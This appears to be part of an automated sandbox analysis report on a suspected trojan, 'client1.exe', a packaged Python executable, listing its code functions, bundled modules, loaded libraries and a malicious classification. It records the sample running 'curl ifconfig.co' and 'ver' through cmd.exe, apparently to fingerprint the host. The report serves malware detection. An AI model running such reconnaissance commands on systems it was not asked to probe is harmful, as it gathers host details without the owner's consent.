Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE9F200	2_2_00007FFBAAE9F200
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAEAB1C0	2_2_00007FFBAAEAB1C0
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8609B	2_2_00007FFBAAE8609B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAEEF700	2_2_00007FFBAAEEF700
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB0BF6D0	2_2_00007FFBAB0BF6D0
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE86F23	2_2_00007FFBAAE86F23
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE821B7	2_2_00007FFBAAE821B7
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE822E8	2_2_00007FFBAAE822E8
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81EA1	2_2_00007FFBAAE81EA1
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAEAB550	2_2_00007FFBAAEAB550
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE87045	2_2_00007FFBAAE87045
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8592F	2_2_00007FFBAAE8592F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE822FC	2_2_00007FFBAAE822FC
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81140	2_2_00007FFBAAE81140
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE826E9	2_2_00007FFBAAE826E9
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84C14	2_2_00007FFBAAE84C14
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE811CC	2_2_00007FFBAAE811CC
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82FCC	2_2_00007FFBAAE82FCC
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE86D57	2_2_00007FFBAAE86D57
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB034A70	2_2_00007FFBAB034A70
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8275C	2_2_00007FFBAAE8275C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83189	2_2_00007FFBAAE83189
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFC0F60	2_2_00007FFBAAFC0F60
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8144C	2_2_00007FFBAAE8144C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFACF80	2_2_00007FFBAAFACF80
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8362F	2_2_00007FFBAAE8362F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE86EBA	2_2_00007FFBAAE86EBA
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE810AA	2_2_00007FFBAAE810AA
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81F96	2_2_00007FFBAAE81F96
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84403	2_2_00007FFBAAE84403
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8659B	2_2_00007FFBAAE8659B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81D89	2_2_00007FFBAAE81D89
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81217	2_2_00007FFBAAE81217
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAF30440	2_2_00007FFBAAF30440
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE9C480	2_2_00007FFBAAE9C480
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB038340	2_2_00007FFBAB038340
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81424	2_2_00007FFBAAE81424
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85B73	2_2_00007FFBAAE85B73
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82C75	2_2_00007FFBAAE82C75
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84101	2_2_00007FFBAAE84101
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFC00F0	2_2_00007FFBAAFC00F0
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84B56	2_2_00007FFBAAE84B56
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE822AC	2_2_00007FFBAAE822AC
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82D74	2_2_00007FFBAAE82D74
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE86C1C	2_2_00007FFBAAE86C1C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFAC5E0	2_2_00007FFBAAFAC5E0
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE869E2	2_2_00007FFBAAE869E2
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE825EF	2_2_00007FFBAAE825EF
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8177B	2_2_00007FFBAAE8177B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE9C620	2_2_00007FFBAAE9C620
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83832	2_2_00007FFBAAE83832
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE87252	2_2_00007FFBAAE87252
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82982	2_2_00007FFBAAE82982
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE850AB	2_2_00007FFBAAE850AB
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81CFD	2_2_00007FFBAAE81CFD
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE835FD	2_2_00007FFBAAE835FD
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE859F7	2_2_00007FFBAAE859F7
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83A85	2_2_00007FFBAAE83A85
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB039A50	2_2_00007FFBAB039A50
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE86389	2_2_00007FFBAAE86389
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB021990	2_2_00007FFBAB021990
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84746	2_2_00007FFBAAE84746
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8378D	2_2_00007FFBAAE8378D
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84359	2_2_00007FFBAAE84359
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81B31	2_2_00007FFBAAE81B31
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE87365	2_2_00007FFBAAE87365
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFB5E10	2_2_00007FFBAAFB5E10
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8266C	2_2_00007FFBAAE8266C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83BA2	2_2_00007FFBAAE83BA2
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE872A7	2_2_00007FFBAAE872A7
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81622	2_2_00007FFBAAE81622
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82D0B	2_2_00007FFBAAE82D0B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85510	2_2_00007FFBAAE85510
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85F0B	2_2_00007FFBAAE85F0B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84287	2_2_00007FFBAAE84287
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE87108	2_2_00007FFBAAE87108
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB039270	2_2_00007FFBAB039270
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE853A8	2_2_00007FFBAAE853A8
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE844C6	2_2_00007FFBAAE844C6
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE9D260	2_2_00007FFBAAE9D260
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAEA5200	2_2_00007FFBAAEA5200
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE868C5	2_2_00007FFBAAE868C5
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85BF0	2_2_00007FFBAAE85BF0
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE82135	2_2_00007FFBAAE82135
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8216C	2_2_00007FFBAAE8216C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE853C1	2_2_00007FFBAAE853C1
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84F3E	2_2_00007FFBAAE84F3E
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE815C8	2_2_00007FFBAAE815C8
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE854CF	2_2_00007FFBAAE854CF
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE854CA	2_2_00007FFBAAE854CA
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84AC5	2_2_00007FFBAAE84AC5
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8655F	2_2_00007FFBAAE8655F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE81299	2_2_00007FFBAAE81299
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8560F	2_2_00007FFBAAE8560F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8542F	2_2_00007FFBAAE8542F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85047	2_2_00007FFBAAE85047
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83A8F	2_2_00007FFBAAE83A8F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAFC1590	2_2_00007FFBAAFC1590
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB49BB70	2_2_00007FFBAB49BB70

Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE82734 appears 508 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE82A04 appears 172 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAB493710 appears 37 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE81EF1 appears 1578 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE824B9 appears 83 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE8483B appears 126 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE84057 appears 774 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE86988 appears 48 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE8300D appears 55 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FF79F622770 appears 82 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE84D68 appears 33 times
Source: C:\Users\user\Desktop\client1.exe	Code function: String function: 00007FFBAAE86889 appears 31 times

Source: unicodedata.pyd.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.0.dr

Static PE information: No import functions for PE file found

Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1447108890.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs client1.exe
Source: client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1449176412.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1448460925.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs client1.exe
Source: client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1453344762.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs client1.exe
Source: client1.exe, 00000000.00000003.1448605663.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1448200962.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs client1.exe
Source: client1.exe, 00000000.00000003.1456400371.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs client1.exe
Source: client1.exe	Binary or memory string: OriginalFilename vs client1.exe
Source: client1.exe, 00000002.00000002.2696109172.00007FFBAB685000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2695346488.00007FFBAB1C6000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs client1.exe
Source: client1.exe, 00000002.00000002.2696789815.00007FFBBB5D6000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2697165497.00007FFBBB64B000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2696701429.00007FFBBB556000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2694790044.00007FFBAAE08000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs client1.exe
Source: client1.exe, 00000002.00000002.2695939389.00007FFBAB65B000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilenamelibsslH vs client1.exe
Source: client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs client1.exe
Source: client1.exe, 00000002.00000002.2696918364.00007FFBBB605000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2697025018.00007FFBBB622000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2691113570.000001692E700000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs client1.exe
Source: client1.exe, 00000002.00000002.2697299452.00007FFBBCD57000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs client1.exe
Source: client1.exe, 00000002.00000002.2695611712.00007FFBAB4CE000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs client1.exe
Source: client1.exe, 00000002.00000002.2696197834.00007FFBB18A2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs client1.exe

Source: classification engine

Classification label: mal56.troj.evad.winEXE@11/33@1/3

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F6274B0 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF79F6274B0

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3580:120:WilError_03

Source: C:\Users\user\Desktop\client1.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI40522

Jump to behavior

Source: client1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\client1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\client1.exe

File read: C:\Users\user\Desktop\client1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\client1.exe "C:\Users\user\Desktop\client1.exe"
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Users\user\Desktop\client1.exe "C:\Users\user\Desktop\client1.exe"
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.co"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.co
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Users\user\Desktop\client1.exe "C:\Users\user\Desktop\client1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.co"	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.co	Jump to behavior

Source: C:\Users\user\Desktop\client1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: client1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: client1.exe

Static file information: File size 11677281 > 1048576

Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: client1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: client1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: client1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696755408.00007FFBBB5D3000.00000002.00000001.01000000.0000000C.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: client1.exe, 00000000.00000003.1456400371.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: client1.exe, 00000002.00000002.2697114928.00007FFBBB640000.00000002.00000001.01000000.00000007.sdmp, _ctypes.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2695572139.00007FFBAB4C7000.00000002.00000001.01000000.00000011.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: client1.exe, 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmp, _decimal.pyd.0.dr
Source:	Binary string: D:\a\bcrypt\bcrypt\bcrypt-4.0.1\src\_bcrypt\target\x86_64-pc-windows-msvc\release\deps\bcrypt_rust.pdb source: _bcrypt.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696852289.00007FFBBB5FC000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: client1.exe, 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmp, _decimal.pyd.0.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: client1.exe, 00000002.00000002.2695863482.00007FFBAB626000.00000002.00000001.01000000.0000000E.sdmp, libssl-1_1.dll.0.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: client1.exe, 00000002.00000002.2695863482.00007FFBAB626000.00000002.00000001.01000000.0000000E.sdmp, libssl-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696663196.00007FFBBB553000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: client1.exe, 00000002.00000002.2695138214.00007FFBAB0CF000.00000002.00000001.01000000.0000000F.sdmp, libcrypto-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696852289.00007FFBBB5FC000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: client1.exe, 00000000.00000003.1448200962.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696978385.00007FFBBB61D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: client1.exe, 00000000.00000003.1447108890.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2697246600.00007FFBBCD51000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: client1.exe, 00000000.00000003.1447108890.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2697246600.00007FFBBCD51000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696163480.00007FFBB1898000.00000002.00000001.01000000.0000000B.sdmp, _socket.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691113570.000001692E700000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: client1.exe, 00000002.00000002.2695138214.00007FFBAB0CF000.00000002.00000001.01000000.0000000F.sdmp, libcrypto-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: client1.exe, 00000002.00000002.2693682237.00007FFBAABCC000.00000002.00000001.01000000.00000004.sdmp, python311.dll.0.dr
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: client1.exe, 00000002.00000002.2695138214.00007FFBAB151000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: client1.exe, 00000002.00000002.2696036271.00007FFBAB66D000.00000002.00000001.01000000.0000000D.sdmp, _ssl.pyd.0.dr

Source: client1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
